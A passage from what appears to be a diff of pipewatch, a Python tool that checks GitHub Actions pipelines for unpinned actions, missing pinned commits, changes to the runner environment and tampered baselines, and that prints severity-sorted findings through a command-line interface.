+ _check_script_injection(docs)
|
|
577
|
+
+ _check_permissions(docs)
|
|
578
|
+
+ _check_self_hosted(docs)
|
|
579
|
+
+ _check_workflow_run_chains(docs)
|
|
580
|
+
)
|
|
581
|
+
|
|
582
|
+
|
|
583
|
+
# ── pinning audit ─────────────────────────────────────────────────────────────
|
|
584
|
+
|
|
585
|
+
@dataclass
|
|
586
|
+
class PinningFinding:
|
|
587
|
+
path: str
|
|
588
|
+
job: str
|
|
589
|
+
step_index: int
|
|
590
|
+
step_name: Optional[str]
|
|
591
|
+
uses_ref: str
|
|
592
|
+
recommendation: str
|
|
593
|
+
|
|
594
|
+
|
|
595
|
+
def _is_sha_pinned(ref: str) -> bool:
|
|
596
|
+
_, _, pin = ref.rpartition("@")
|
|
597
|
+
return bool(_SHA_RE.match(pin))
|
|
598
|
+
|
|
599
|
+
|
|
600
|
+
def audit_pinning(repo: Path) -> list[PinningFinding]:
|
|
601
|
+
findings = []
|
|
602
|
+
for fpath in find_pipeline_files(repo):
|
|
603
|
+
if fpath.suffix not in (".yml", ".yaml"):
|
|
604
|
+
continue
|
|
605
|
+
rel = str(fpath.relative_to(repo))
|
|
606
|
+
try:
|
|
607
|
+
doc = yaml.safe_load(fpath.read_text(encoding="utf-8", errors="replace"))
|
|
608
|
+
except (yaml.YAMLError, OSError):
|
|
609
|
+
continue
|
|
610
|
+
if not isinstance(doc, dict):
|
|
611
|
+
continue
|
|
612
|
+
for job, job_def in (doc.get("jobs") or {}).items():
|
|
613
|
+
if not isinstance(job_def, dict):
|
|
614
|
+
continue
|
|
615
|
+
for idx, step in enumerate(job_def.get("steps") or []):
|
|
616
|
+
if not isinstance(step, dict) or "uses" not in step:
|
|
617
|
+
continue
|
|
618
|
+
ref: str = step["uses"]
|
|
619
|
+
if ref.startswith("./") or ("@" in ref and _is_sha_pinned(ref)):
|
|
620
|
+
continue
|
|
621
|
+
action = ref.split("@")[0] if "@" in ref else ref
|
|
622
|
+
tag = ref.split("@")[1] if "@" in ref else "unversioned"
|
|
623
|
+
findings.append(PinningFinding(
|
|
624
|
+
rel, str(job), idx, step.get("name"), ref,
|
|
625
|
+
f"uses: {action}@<sha> # {tag}\n"
|
|
626
|
+
f" https://github.com/{action}/commits",
|
|
627
|
+
))
|
|
628
|
+
return findings
|
|
629
|
+
|
|
630
|
+
|
|
631
|
+
def _verify_commit_exists(owner: str, repo_name: str, sha: str, token: Optional[str]) -> bool:
|
|
632
|
+
"""Return False only if GitHub's API returns 404 for this commit."""
|
|
633
|
+
url = f"https://api.github.com/repos/{owner}/{repo_name}/git/commits/{sha}"
|
|
634
|
+
headers = {
|
|
635
|
+
"Accept": "application/vnd.github.v3+json",
|
|
636
|
+
"User-Agent": f"pipewatch/{__version__}",
|
|
637
|
+
}
|
|
638
|
+
if token:
|
|
639
|
+
headers["Authorization"] = f"Bearer {token}"
|
|
640
|
+
try:
|
|
641
|
+
req = urllib.request.Request(url, headers=headers)
|
|
642
|
+
with urllib.request.urlopen(req, timeout=10) as resp:
|
|
643
|
+
return resp.status == 200
|
|
644
|
+
except urllib.error.HTTPError as e:
|
|
645
|
+
return e.code != 404
|
|
646
|
+
except Exception:
|
|
647
|
+
return True # network unavailable — don't raise false positives
|
|
648
|
+
|
|
649
|
+
|
|
650
|
+
def verify_pinned_shas(repo: Path, token: Optional[str] = None) -> list[dict]:
|
|
651
|
+
"""
|
|
652
|
+
For each SHA-pinned action, verify the commit exists in that repo via GitHub API.
|
|
653
|
+
Opt-in: pass --verify-shas. Rate limit: 60 req/hr unauthenticated, 5000 with --token.
|
|
654
|
+
|
|
655
|
+
API calls are deduplicated (one call per unique owner/repo+SHA pair), but a finding
|
|
656
|
+
is emitted for *every* affected step so callers see the full blast radius of a
|
|
657
|
+
compromised or deleted commit.
|
|
658
|
+
"""
|
|
659
|
+
findings = []
|
|
660
|
+
# Cache API results: (owner/repo, sha) → bool (True = exists / inconclusive)
|
|
661
|
+
verified: dict[tuple[str, str], bool] = {}
|
|
662
|
+
|
|
663
|
+
for fpath in find_pipeline_files(repo):
|
|
664
|
+
if fpath.suffix not in (".yml", ".yaml"):
|
|
665
|
+
continue
|
|
666
|
+
try:
|
|
667
|
+
doc = yaml.safe_load(fpath.read_text(encoding="utf-8", errors="replace"))
|
|
668
|
+
except (yaml.YAMLError, OSError):
|
|
669
|
+
continue
|
|
670
|
+
if not isinstance(doc, dict):
|
|
671
|
+
continue
|
|
672
|
+
|
|
673
|
+
rel = str(fpath.relative_to(repo))
|
|
674
|
+
for job, job_def in (doc.get("jobs") or {}).items():
|
|
675
|
+
if not isinstance(job_def, dict):
|
|
676
|
+
continue
|
|
677
|
+
for idx, step in enumerate(job_def.get("steps") or []):
|
|
678
|
+
if not isinstance(step, dict) or "uses" not in step:
|
|
679
|
+
continue
|
|
680
|
+
ref: str = step["uses"]
|
|
681
|
+
if ref.startswith("./") or "@" not in ref or not _is_sha_pinned(ref):
|
|
682
|
+
continue
|
|
683
|
+
action, _, sha = ref.rpartition("@")
|
|
684
|
+
parts = action.split("/")
|
|
685
|
+
if len(parts) < 2:
|
|
686
|
+
continue
|
|
687
|
+
owner, repo_name = parts[0], parts[1]
|
|
688
|
+
key = (f"{owner}/{repo_name}", sha)
|
|
689
|
+
if key not in verified:
|
|
690
|
+
verified[key] = _verify_commit_exists(owner, repo_name, sha, token)
|
|
691
|
+
if not verified[key]:
|
|
692
|
+
findings.append(_finding(
|
|
693
|
+
f"PW-SHA-{len(findings)+1:03d}", "HIGH",
|
|
694
|
+
"invalid_pinned_sha",
|
|
695
|
+
f"Pinned SHA not found in repo: {ref}",
|
|
696
|
+
f"Commit {sha[:8]}... does not exist in {owner}/{repo_name}. "
|
|
697
|
+
"This may be a typo, a SHA from a fork, or a deleted commit.",
|
|
698
|
+
f"{rel}::{job}::step[{idx}]",
|
|
699
|
+
f"checked: GET /repos/{owner}/{repo_name}/git/commits/{sha}",
|
|
700
|
+
))
|
|
701
|
+
return findings
|
|
702
|
+
|
|
703
|
+
|
|
704
|
+
# ── runner environment ────────────────────────────────────────────────────────
|
|
705
|
+
|
|
706
|
+
@dataclass
|
|
707
|
+
class EnvSnapshot:
|
|
708
|
+
timestamp: str
|
|
709
|
+
environment: dict[str, str]
|
|
710
|
+
tool_versions: dict[str, Optional[str]]
|
|
711
|
+
|
|
712
|
+
|
|
713
|
+
@dataclass
|
|
714
|
+
class EnvDiff:
|
|
715
|
+
new_vars: dict[str, str] = field(default_factory=dict)
|
|
716
|
+
removed_vars: list[str] = field(default_factory=list)
|
|
717
|
+
changed_vars: dict[str, tuple[str, str]] = field(default_factory=dict)
|
|
718
|
+
new_tools: list[str] = field(default_factory=list)
|
|
719
|
+
removed_tools: list[str] = field(default_factory=list)
|
|
720
|
+
changed_tool_versions: dict[str, tuple[Optional[str], Optional[str]]] = field(default_factory=dict)
|
|
721
|
+
|
|
722
|
+
def is_empty(self) -> bool:
|
|
723
|
+
return not any([self.new_vars, self.removed_vars, self.changed_vars,
|
|
724
|
+
self.new_tools, self.removed_tools, self.changed_tool_versions])
|
|
725
|
+
|
|
726
|
+
|
|
727
|
+
def _tool_version(tool: str) -> Optional[str]:
|
|
728
|
+
if not shutil.which(tool):
|
|
729
|
+
return None
|
|
730
|
+
try:
|
|
731
|
+
r = subprocess.run([tool, "--version"], capture_output=True, text=True, timeout=5)
|
|
732
|
+
return (r.stdout or r.stderr or "").splitlines()[0].strip()[:120]
|
|
733
|
+
except Exception:
|
|
734
|
+
return "(present — version unavailable)"
|
|
735
|
+
|
|
736
|
+
|
|
737
|
+
def capture_snapshot() -> EnvSnapshot:
|
|
738
|
+
return EnvSnapshot(
|
|
739
|
+
timestamp=datetime.now(timezone.utc).isoformat(),
|
|
740
|
+
environment={
|
|
741
|
+
k: v for k, v in os.environ.items()
|
|
742
|
+
if k not in _IGNORE_VARS and not _CREDENTIAL_VAR_RE.search(k)
|
|
743
|
+
},
|
|
744
|
+
tool_versions={t: _tool_version(t) for t in _TRACKED_TOOLS},
|
|
745
|
+
)
|
|
746
|
+
|
|
747
|
+
|
|
748
|
+
def save_snapshot(snap: EnvSnapshot, path: Path) -> None:
|
|
749
|
+
path.write_text(json.dumps({"timestamp": snap.timestamp,
|
|
750
|
+
"environment": snap.environment,
|
|
751
|
+
"tool_versions": snap.tool_versions}, indent=2))
|
|
752
|
+
|
|
753
|
+
|
|
754
|
+
def load_snapshot(path: Path) -> EnvSnapshot:
|
|
755
|
+
d = json.loads(path.read_text())
|
|
756
|
+
return EnvSnapshot(d["timestamp"], d["environment"], d["tool_versions"])
|
|
757
|
+
|
|
758
|
+
|
|
759
|
+
def diff_snapshots(base: EnvSnapshot, cur: EnvSnapshot) -> EnvDiff:
|
|
760
|
+
diff = EnvDiff()
|
|
761
|
+
for k, v in cur.environment.items():
|
|
762
|
+
if k not in base.environment:
|
|
763
|
+
diff.new_vars[k] = v
|
|
764
|
+
elif base.environment[k] != v:
|
|
765
|
+
diff.changed_vars[k] = (base.environment[k], v)
|
|
766
|
+
diff.removed_vars = [k for k in base.environment if k not in cur.environment]
|
|
767
|
+
for tool in _TRACKED_TOOLS:
|
|
768
|
+
old, new = base.tool_versions.get(tool), cur.tool_versions.get(tool)
|
|
769
|
+
if old is None and new is not None:
|
|
770
|
+
diff.new_tools.append(tool)
|
|
771
|
+
elif old is not None and new is None:
|
|
772
|
+
diff.removed_tools.append(tool)
|
|
773
|
+
elif old != new and old is not None:
|
|
774
|
+
diff.changed_tool_versions[tool] = (old, new)
|
|
775
|
+
return diff
|
|
776
|
+
|
|
777
|
+
|
|
778
|
+
# ── tamper-evident baseline ───────────────────────────────────────────────────
|
|
779
|
+
|
|
780
|
+
def _hmac_sign(commit: str, timestamp: str, key: str) -> str:
|
|
781
|
+
"""Sign commit+timestamp together so replaying an older valid baseline is detected."""
|
|
782
|
+
msg = f"{commit}\n{timestamp}".encode()
|
|
783
|
+
return _hmac_mod.new(key.encode(), msg, hashlib.sha256).hexdigest()
|
|
784
|
+
|
|
785
|
+
|
|
786
|
+
def _hmac_verify(commit: str, timestamp: str, signature: str, key: str) -> bool:
|
|
787
|
+
return _hmac_mod.compare_digest(_hmac_sign(commit, timestamp, key), signature)
|
|
788
|
+
|
|
789
|
+
|
|
790
|
+
def save_baseline(repo: Path, commit: str) -> None:
|
|
791
|
+
key = os.environ.get("PIPEWATCH_HMAC_KEY")
|
|
792
|
+
if key:
|
|
793
|
+
ts = datetime.now(timezone.utc).isoformat()
|
|
794
|
+
data = {
|
|
795
|
+
"commit": commit,
|
|
796
|
+
"timestamp": ts,
|
|
797
|
+
"hmac": _hmac_sign(commit, ts, key),
|
|
798
|
+
}
|
|
799
|
+
(repo / _BASELINE_FILE).write_text(json.dumps(data) + "\n", encoding="utf-8")
|
|
800
|
+
else:
|
|
801
|
+
(repo / _BASELINE_FILE).write_text(commit + "\n", encoding="utf-8")
|
|
802
|
+
|
|
803
|
+
|
|
804
|
+
def load_baseline(repo: Path, override: Optional[str]) -> str:
|
|
805
|
+
if override:
|
|
806
|
+
return override
|
|
807
|
+
bf = repo / _BASELINE_FILE
|
|
808
|
+
if not bf.exists():
|
|
809
|
+
sys.exit("error: no baseline set. Run `pipewatch baseline` first.")
|
|
810
|
+
content = bf.read_text().strip()
|
|
811
|
+
try:
|
|
812
|
+
data = json.loads(content)
|
|
813
|
+
commit = data["commit"]
|
|
814
|
+
key = os.environ.get("PIPEWATCH_HMAC_KEY")
|
|
815
|
+
if key:
|
|
816
|
+
ts = data.get("timestamp", "")
|
|
817
|
+
if not _hmac_verify(commit, ts, data.get("hmac", ""), key):
|
|
818
|
+
sys.exit(
|
|
819
|
+
"error: baseline HMAC verification failed — "
|
|
820
|
+
"the baseline file may have been tampered with or replayed "
|
|
821
|
+
"from an older baseline."
|
|
822
|
+
)
|
|
823
|
+
return commit
|
|
824
|
+
except (json.JSONDecodeError, KeyError):
|
|
825
|
+
# Plain-text format (backward compat) — refuse if signing is configured,
|
|
826
|
+
# because an attacker could have replaced a signed JSON baseline with a
|
|
827
|
+
# raw SHA to bypass HMAC verification entirely.
|
|
828
|
+
if os.environ.get("PIPEWATCH_HMAC_KEY"):
|
|
829
|
+
sys.exit(
|
|
830
|
+
"error: PIPEWATCH_HMAC_KEY is set but the baseline file is not in "
|
|
831
|
+
"signed JSON format — refusing to proceed. Re-run `pipewatch baseline` "
|
|
832
|
+
"with the key set to create a fresh signed baseline."
|
|
833
|
+
)
|
|
834
|
+
return content # unsigned plain-text baseline accepted only when no key is configured
|
|
835
|
+
|
|
836
|
+
|
|
837
|
+
# ── report ────────────────────────────────────────────────────────────────────
|
|
838
|
+
|
|
839
|
+
def _finding(fid, severity, category, title, description, location, evidence=""):
|
|
840
|
+
return {"id": fid, "severity": severity, "category": category,
|
|
841
|
+
"title": title, "description": description,
|
|
842
|
+
"location": location, "evidence": evidence}
|
|
843
|
+
|
|
844
|
+
|
|
845
|
+
def _findings_from_diffs(diffs: list[FileDiff]) -> list[dict]:
|
|
846
|
+
return [_finding(
|
|
847
|
+
f"PW-DIFF-{i:03d}",
|
|
848
|
+
"HIGH" if d.status in ("modified", "deleted") else "MEDIUM",
|
|
849
|
+
"pipeline_file_change",
|
|
850
|
+
f"Pipeline file {d.status}: {d.path}",
|
|
851
|
+
f"'{d.path}' was {d.status} since baseline {d.baseline_commit}.",
|
|
852
|
+
d.path, "".join(d.diff_lines[:50]),
|
|
853
|
+
) for i, d in enumerate(diffs, 1)]
|
|
854
|
+
|
|
855
|
+
|
|
856
|
+
def _findings_from_steps(changes: list[StepChange]) -> list[dict]:
|
|
857
|
+
out = []
|
|
858
|
+
for i, c in enumerate(changes, 1):
|
|
859
|
+
loc = f"{c.path}::{c.job}::step[{c.step_index}]"
|
|
860
|
+
if c.status == "modified":
|
|
861
|
+
out.append(_finding(f"PW-STEP-{i:03d}", "HIGH", "step_fingerprint",
|
|
862
|
+
f"Step fingerprint changed: {loc}",
|
|
863
|
+
f"Step {c.step_index} in '{c.job}' changed — possible injected command or swapped action.",
|
|
864
|
+
loc, f"baseline={c.baseline_fp} current={c.current_fp}"))
|
|
865
|
+
elif c.status == "added":
|
|
866
|
+
out.append(_finding(f"PW-STEP-{i:03d}", "HIGH", "step_fingerprint",
|
|
867
|
+
f"New step injected: {loc}",
|
|
868
|
+
f"Step {c.step_index} in '{c.job}' of '{c.path}' did not exist at baseline.",
|
|
869
|
+
loc, f"fingerprint={c.current_fp}"))
|
|
870
|
+
else:
|
|
871
|
+
out.append(_finding(f"PW-STEP-{i:03d}", "MEDIUM", "step_fingerprint",
|
|
872
|
+
f"Step removed: {loc}",
|
|
873
|
+
f"Step {c.step_index} in '{c.job}' of '{c.path}' was removed since baseline.",
|
|
874
|
+
loc, f"baseline_fp={c.baseline_fp}"))
|
|
875
|
+
return out
|
|
876
|
+
|
|
877
|
+
|
|
878
|
+
def _findings_from_pinning(pinning: list[PinningFinding]) -> list[dict]:
|
|
879
|
+
return [_finding(
|
|
880
|
+
f"PW-PIN-{i:03d}", "MEDIUM", "unpinned_dependency",
|
|
881
|
+
f"Unpinned action: {p.uses_ref}",
|
|
882
|
+
f"Step {p.step_index} in '{p.job}' of '{p.path}' uses '{p.uses_ref}', "
|
|
883
|
+
"not pinned to a commit SHA — mutable tags can be silently overwritten.",
|
|
884
|
+
f"{p.path}::{p.job}::step[{p.step_index}]", p.recommendation,
|
|
885
|
+
) for i, p in enumerate(pinning, 1)]
|
|
886
|
+
|
|
887
|
+
|
|
888
|
+
def _findings_from_env(diff: EnvDiff) -> list[dict]:
|
|
889
|
+
out, i = [], 1
|
|
890
|
+
for var, val in diff.new_vars.items():
|
|
891
|
+
out.append(_finding(f"PW-ENV-{i:03d}", "MEDIUM", "runner_environment",
|
|
892
|
+
f"New environment variable: {var}",
|
|
893
|
+
f"'{var}' present now but absent at baseline.",
|
|
894
|
+
"runner", f"{var}={val[:80]}")); i += 1
|
|
895
|
+
for var in diff.removed_vars:
|
|
896
|
+
out.append(_finding(f"PW-ENV-{i:03d}", "LOW", "runner_environment",
|
|
897
|
+
f"Environment variable removed: {var}", f"'{var}' absent now, present at baseline.",
|
|
898
|
+
"runner")); i += 1
|
|
899
|
+
for var, (old, new) in diff.changed_vars.items():
|
|
900
|
+
out.append(_finding(f"PW-ENV-{i:03d}", "MEDIUM", "runner_environment",
|
|
901
|
+
f"Environment variable changed: {var}",
|
|
902
|
+
f"'{var}' changed — PATH changes can redirect tool execution.",
|
|
903
|
+
"runner", f"baseline='{old[:60]}' current='{new[:60]}'")); i += 1
|
|
904
|
+
for tool in diff.new_tools:
|
|
905
|
+
out.append(_finding(f"PW-ENV-{i:03d}", "LOW", "runner_environment",
|
|
906
|
+
f"New tool present: {tool}", f"'{tool}' installed now, absent at baseline.",
|
|
907
|
+
"runner")); i += 1
|
|
908
|
+
for tool in diff.removed_tools:
|
|
909
|
+
out.append(_finding(f"PW-ENV-{i:03d}", "LOW", "runner_environment",
|
|
910
|
+
f"Tool removed: {tool}", f"'{tool}' absent now, present at baseline.",
|
|
911
|
+
"runner")); i += 1
|
|
912
|
+
for tool, (old, new) in diff.changed_tool_versions.items():
|
|
913
|
+
out.append(_finding(f"PW-ENV-{i:03d}", "LOW", "runner_environment",
|
|
914
|
+
f"Tool version changed: {tool}", f"'{tool}' changed version between runs.",
|
|
915
|
+
"runner", f"baseline='{old}' current='{new}'")); i += 1
|
|
916
|
+
return out
|
|
917
|
+
|
|
918
|
+
|
|
919
|
+
def build_report(findings: list[dict], repo: str, baseline: Optional[str]) -> dict:
|
|
920
|
+
counts = {s: 0 for s in _SEV_ORDER}
|
|
921
|
+
for f in findings:
|
|
922
|
+
counts[f["severity"]] = counts.get(f["severity"], 0) + 1
|
|
923
|
+
return {
|
|
924
|
+
"tool": "pipewatch", "version": __version__,
|
|
925
|
+
"timestamp": datetime.now(timezone.utc).isoformat(),
|
|
926
|
+
"repo": str(repo), "baseline_commit": baseline,
|
|
927
|
+
"findings": sorted(findings, key=lambda x: _SEV_ORDER.get(x["severity"], 99)),
|
|
928
|
+
"summary": {"total": len(findings), **counts},
|
|
929
|
+
}
|
|
930
|
+
|
|
931
|
+
|
|
932
|
+
def print_report(report: dict, verbose: bool = False) -> None:
|
|
933
|
+
print(f"\npipewatch {report['version']} {report['timestamp']}")
|
|
934
|
+
print(f"repo: {report['repo']}")
|
|
935
|
+
if report.get("baseline_commit"):
|
|
936
|
+
print(f"baseline: {report['baseline_commit']}")
|
|
937
|
+
print()
|
|
938
|
+
if not report["findings"]:
|
|
939
|
+
print("✓ No findings.\n")
|
|
940
|
+
return
|
|
941
|
+
for f in report["findings"]:
|
|
942
|
+
sev = f["severity"]
|
|
943
|
+
print(f"{_ANSI.get(sev, '')}[{sev}]{_ANSI['RESET']} {f['id']} {f['title']}")
|
|
944
|
+
if verbose:
|
|
945
|
+
print(f" {f['description']}")
|
|
946
|
+
if f.get("evidence"):
|
|
947
|
+
print(f" evidence: {f['evidence'][:120]}")
|
|
948
|
+
print()
|
|
949
|
+
s = report["summary"]
|
|
950
|
+
print("─" * 60)
|
|
951
|
+
print(
|
|
952
|
+
f"total={s['total']} CRITICAL={s['CRITICAL']} HIGH={s['HIGH']} "
|
|
953
|
+
f"MEDIUM={s['MEDIUM']} LOW={s['LOW']} INFO={s['INFO']}\n"
|
|
954
|
+
)
|
|
955
|
+
|
|
956
|
+
|
|
957
|
+
# ── CLI ───────────────────────────────────────────────────────────────────────
|
|
958
|
+
|
|
959
|
+
def _repo(path: str) -> Path:
|
|
960
|
+
p = Path(path).resolve()
|
|
961
|
+
if not (p / ".git").exists():
|
|
962
|
+
sys.exit(f"error: {p} is not a git repository")
|
|
963
|
+
return p
|
|
964
|
+
|
|
965
|
+
|
|
966
|
+
def _emit(report: dict, as_json: bool, verbose: bool) -> None:
|
|
967
|
+
print(json.dumps(report, indent=2)) if as_json else print_report(report, verbose)
|
|
968
|
+
|
|
969
|
+
|
|
970
|
+
def cmd_baseline(args):
|
|
971
|
+
repo = _repo(args.repo)
|
|
972
|
+
commit = args.commit or git_head(repo)
|
|
973
|
+
save_baseline(repo, commit)
|
|
974
|
+
signed = bool(os.environ.get("PIPEWATCH_HMAC_KEY"))
|
|
975
|
+
suffix = " (HMAC-signed)" if signed else " (unsigned — set PIPEWATCH_HMAC_KEY to enable signing)"
|
|
976
|
+
print(f"baseline → {commit}{suffix}")
|
|
977
|
+
|
|
978
|
+
|
|
979
|
+
def cmd_scan(args):
|
|
980
|
+
repo = _repo(args.repo)
|
|
981
|
+
commit = load_baseline(repo, args.baseline)
|
|
982
|
+
findings = (_findings_from_diffs(diff_pipeline_files(repo, commit))
|
|
983
|
+
+ _findings_from_steps(diff_fingerprints(repo, commit)))
|
|
984
|
+
_emit(build_report(findings, repo, commit), args.json, args.verbose)
|
|
985
|
+
sys.exit(1 if findings else 0)
|
|
986
|
+
|
|
987
|
+
|
|
988
|
+
def cmd_pin_audit(args):
|
|
989
|
+
repo = _repo(args.repo)
|
|
990
|
+
findings = _findings_from_pinning(audit_pinning(repo))
|
|
991
|
+
if args.verify_shas:
|
|
992
|
+
findings += verify_pinned_shas(repo, args.token or os.environ.get("GITHUB_TOKEN"))
|
|
993
|
+
_emit(build_report(findings, repo, None), args.json, args.verbose)
|
|
994
|
+
sys.exit(1 if findings else 0)
|
|
995
|
+
|
|
996
|
+
|
|
997
|
+
def cmd_static(args):
|
|
998
|
+
repo = _repo(args.repo)
|
|
999
|
+
findings = static_analysis(repo)
|
|
1000
|
+
_emit(build_report(findings, repo, None), args.json, args.verbose)
|
|
1001
|
+
sys.exit(1 if findings else 0)
|
|
1002
|
+
|
|
1003
|
+
|
|
1004
|
+
def cmd_snapshot(args):
|
|
1005
|
+
snap = capture_snapshot()
|
|
1006
|
+
save_snapshot(snap, Path(args.output))
|
|
1007
|
+
print(f"snapshot → {args.output}")
|
|
1008
|
+
|
|
1009
|
+
|
|
1010
|
+
def cmd_env_diff(args):
|
|
1011
|
+
base_snap = load_snapshot(Path(args.baseline_snapshot))
|
|
1012
|
+
cur_snap = load_snapshot(Path(args.current_snapshot)) if args.current_snapshot else capture_snapshot()
|
|
1013
|
+
findings = _findings_from_env(diff_snapshots(base_snap, cur_snap))
|
|
1014
|
+
_emit(build_report(findings, args.repo or ".", None), args.json, args.verbose)
|
|
1015
|
+
sys.exit(1 if findings else 0)
|
|
1016
|
+
|
|
1017
|
+
|
|
1018
|
+
def cmd_audit(args):
|
|
1019
|
+
"""Full audit: scan + pin-audit + static analysis."""
|
|
1020
|
+
repo = _repo(args.repo)
|
|
1021
|
+
commit = load_baseline(repo, args.baseline)
|
|
1022
|
+
findings = (
|
|
1023
|
+
_findings_from_diffs(diff_pipeline_files(repo, commit))
|
|
1024
|
+
+ _findings_from_steps(diff_fingerprints(repo, commit))
|
|
1025
|
+
+ _findings_from_pinning(audit_pinning(repo))
|
|
1026
|
+
+ static_analysis(repo)
|
|
1027
|
+
)
|
|
1028
|
+
if args.verify_shas:
|
|
1029
|
+
findings += verify_pinned_shas(repo, args.token or os.environ.get("GITHUB_TOKEN"))
|
|
1030
|
+
_emit(build_report(findings, repo, commit), args.json, args.verbose)
|
|
1031
|
+
sys.exit(1 if findings else 0)
|
|
1032
|
+
|
|
1033
|
+
|
|
1034
|
+
def cmd_init_runner(args):
|
|
1035
|
+
"""Print a ready-to-paste GitHub Actions step block for runner environment monitoring."""
|
|
1036
|
+
snap = args.snapshot_path or ".pipewatch_env_snapshot.json"
|
|
1037
|
+
print(f"""
|
|
1038
|
+
# Paste this into any job you want to monitor.
|
|
1039
|
+
# Requires pipewatch to be installed in the runner environment.
|
|
1040
|
+
|
|
1041
|
+
- name: Restore pipewatch snapshot
|
|
1042
|
+
uses: actions/cache@<sha> # pin this
|
|
1043
|
+
with:
|
|
1044
|
+
path: {snap}
|
|
1045
|
+
key: pipewatch-env-${{{{ runner.os }}}}-${{{{ github.ref }}}}
|
|
1046
|
+
restore-keys: pipewatch-env-${{{{ runner.os }}}}-
|
|
1047
|
+
|
|
1048
|
+
- name: pipewatch — runner environment check
|
|
1049
|
+
run: |
|
|
1050
|
+
pipewatch snapshot --output /tmp/pw_snap_current.json
|
|
1051
|
+
if [ -f "{snap}" ]; then
|
|
1052
|
+
pipewatch env-diff "{snap}" \\
|
|
1053
|
+
--current-snapshot /tmp/pw_snap_current.json \\
|
|
1054
|
+
--json >> $GITHUB_STEP_SUMMARY || true
|
|
1055
|
+
fi
|
|
1056
|
+
cp /tmp/pw_snap_current.json "{snap}"
|
|
1057
|
+
""".strip())
|
|
1058
|
+
|
|
1059
|
+
|
|
1060
|
+
def main():
|
|
1061
|
+
p = argparse.ArgumentParser(prog="pipewatch", description="CI/CD pipeline integrity monitor")
|
|
1062
|
+
p.add_argument("--version", action="version", version=f"pipewatch {__version__}")
|
|
1063
|
+
sub = p.add_subparsers(dest="command", required=True)
|
|
1064
|
+
|
|
1065
|
+
def add(name, help_):
|
|
1066
|
+
return sub.add_parser(name, help=help_)
|
|
1067
|
+
|
|
1068
|
+
def _repo_args(s, *, baseline_flag=False, sha_verify=False):
|
|
1069
|
+
"""Add repo positional + --repo flag (positional wins if given)."""
|
|
1070
|
+
s.add_argument("repo_pos", nargs="?", default=None, metavar="REPO",
|
|
1071
|
+
help="Repository path (positional shorthand for --repo)")
|
|
1072
|
+
s.add_argument("--repo", default=".", metavar="PATH")
|
|
1073
|
+
if baseline_flag:
|
|
1074
|
+
s.add_argument("--baseline", metavar="SHA")
|
|
1075
|
+
if sha_verify:
|
|
1076
|
+
s.add_argument("--verify-shas", action="store_true",
|
|
1077
|
+
help="Verify pinned SHAs exist via GitHub API.")
|
|
1078
|
+
s.add_argument("--token", metavar="TOKEN", help="GitHub PAT (or set GITHUB_TOKEN).")
|
|
1079
|
+
|
|
1080
|
+
def _resolve_repo(args) -> str:
|
|
1081
|
+
return args.repo_pos if args.repo_pos else args.repo
|
|
1082
|
+
|
|
1083
|
+
# Patch cmd functions to resolve positional before calling _repo()
|
|
1084
|
+
_orig_scan = cmd_scan
|
|
1085
|
+
def cmd_scan_w(args):
|
|
1086
|
+
args.repo = _resolve_repo(args); _orig_scan(args)
|
|
1087
|
+
|
|
1088
|
+
_orig_pin = cmd_pin_audit
|
|
1089
|
+
def cmd_pin_w(args):
|
|
1090
|
+
args.repo = _resolve_repo(args); _orig_pin(args)
|
|
1091
|
+
|
|
1092
|
+
_orig_static = cmd_static
|
|
1093
|
+
def cmd_static_w(args):
|
|
1094
|
+
args.repo = _resolve_repo(args); _orig_static(args)
|
|
1095
|
+
|
|
1096
|
+
_orig_audit = cmd_audit
|
|
1097
|
+
def cmd_audit_w(args):
|
|
1098
|
+
args.repo = _resolve_repo(args); _orig_audit(args)
|
|
1099
|
+
|
|
1100
|
+
_orig_baseline = cmd_baseline
|
|
1101
|
+
def cmd_baseline_w(args):
|
|
1102
|
+
args.repo = _resolve_repo(args); _orig_baseline(args)
|
|
1103
|
+
|
|
1104
|
+
s = add("baseline", "Record current (or specified) commit as known-good baseline.")
|
|
1105
|
+
_repo_args(s); s.add_argument("--commit", metavar="SHA")
|
|
1106
|
+
s.set_defaults(func=cmd_baseline_w)
|
|
1107
|
+
|
|
1108
|
+
s = add("scan", "Diff pipeline files and step fingerprints against baseline.")
|
|
1109
|
+
_repo_args(s, baseline_flag=True)
|
|
1110
|
+
s.add_argument("--verbose", "-v", action="store_true"); s.add_argument("--json", action="store_true")
|
|
1111
|
+
s.set_defaults(func=cmd_scan_w)
|
|
1112
|
+
|
|
1113
|
+
s = add("pin-audit", "Flag uses: references not pinned to a commit SHA.")
|
|
1114
|
+
_repo_args(s, sha_verify=True)
|
|
1115
|
+
s.add_argument("--verbose", "-v", action="store_true"); s.add_argument("--json", action="store_true")
|
|
1116
|
+
s.set_defaults(func=cmd_pin_w)
|
|
1117
|
+
|
|
1118
|
+
s = add("static", "Static analysis: pull_request_target misuse, script injection, permissions, self-hosted runners, workflow_run chains.")
|
|
1119
|
+
_repo_args(s)
|
|
1120
|
+
s.add_argument("--verbose", "-v", action="store_true"); s.add_argument("--json", action="store_true")
|
|
1121
|
+
s.set_defaults(func=cmd_static_w)
|
|
1122
|
+
|
|
1123
|
+
s = add("snapshot", "Capture runner environment to JSON.")
|
|
1124
|
+
s.add_argument("--output", default=_SNAPSHOT_FILE, metavar="FILE")
|
|
1125
|
+
s.set_defaults(func=cmd_snapshot)
|
|
1126
|
+
|
|
1127
|
+
s = add("env-diff", "Diff two runner environment snapshots.")
|
|
1128
|
+
s.add_argument("baseline_snapshot"); s.add_argument("--current-snapshot", metavar="FILE")
|
|
1129
|
+
s.add_argument("--repo", default="."); s.add_argument("--verbose", "-v", action="store_true")
|
|
1130
|
+
s.add_argument("--json", action="store_true")
|
|
1131
|
+
s.set_defaults(func=cmd_env_diff)
|
|
1132
|
+
|
|
1133
|
+
s = add("audit", "Full audit: scan + pin-audit + static analysis combined.")
|
|
1134
|
+
_repo_args(s, baseline_flag=True, sha_verify=True)
|
|
1135
|
+
s.add_argument("--verbose", "-v", action="store_true"); s.add_argument("--json", action="store_true")
|
|
1136
|
+
s.set_defaults(func=cmd_audit_w)
|
|
1137
|
+
|
|
1138
|
+
s = add("init-runner", "Print a GitHub Actions step block for runner environment monitoring.")
|
|
1139
|
+
s.add_argument("--snapshot-path", metavar="PATH")
|
|
1140
|
+
s.set_defaults(func=cmd_init_runner)
|
|
1141
|
+
|
|
1142
|
+
args = p.parse_args()
|
|
1143
|
+
args.func(args)
|
|
1144
|
+
|
|
1145
|
+
|
|
1146
|
+
if __name__ == "__main__":
|
|
1147
|
+
main()
|